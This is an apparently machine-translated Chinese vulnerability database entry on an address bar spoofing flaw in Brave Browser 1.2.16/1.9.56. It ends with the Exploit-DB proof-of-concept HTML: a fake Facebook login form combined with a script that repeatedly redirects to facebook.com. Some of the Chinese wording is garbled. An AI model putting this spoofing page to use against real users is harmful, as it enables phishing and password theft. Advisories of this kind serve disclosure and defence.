Brave Browser 1.2.16/1.9.56 Address Bar 弱身份验证

CVSS 元临时分数	当前攻击价格 (≈)	CTI兴趣分数
5.9	$0-$5k	0.00

摘要信息

分类为致命的漏洞已在Brave Browser 1.2.16/1.9.56中发现。相关的是未知函数，在Address Bar组件中。由于被操作，进而引发弱身份验证。攻击可能起始于远程，另外，有可用的漏洞利用。

分类为致命的漏洞已在Brave Browser 1.2.16/1.9.56中发现。相关的是未知函数，在Address Bar组件中。由于被操作，进而引发弱身份验证。采用 CWE 描述该问题会链接到 CWE-290。此漏洞的脆弱性 2017-01-08公示人身份EDB-ID 40994、公示人类型为利用 (Exploit-DB)所提交。该安全通告已在 exploit-db.com 提供下载。

攻击可能起始于远程，暂无技术细节。此漏洞的受欢迎程度低于平均值。另外，有可用的漏洞利用。该漏洞的利用方式已向公众披露，存在被利用的风险。现在，可能约为美元 $0-$5k。通告提到：

Brave Browser Suffers from Address Bar Spoofing Vulnerability. Address Bar spoofing is a critical vulnerability in which any attacker can spoof the address bar to a legit looking website but the content of the web-page remains different from the Address-Bar display of the site.

如果有长度，则声明为概念验证。以下网址提供该漏洞利用：exploit-db.com。作为零日漏洞，其地下市场的估计价格约为$0-$5k。利用程序的源代码如下：

<html>
<title>Address Bar spoofing Brave</title>
<h1> This is Dummy Facebook </h1>
<form>
Email: <input type="text" name="username" placeholder="add email"><br>
Password: <input type="text" name="password" placeholder="pass">
<script>
function f()
{
location = "https://facebook.com"
}
setInterval("f()", 10);
</script>
</html>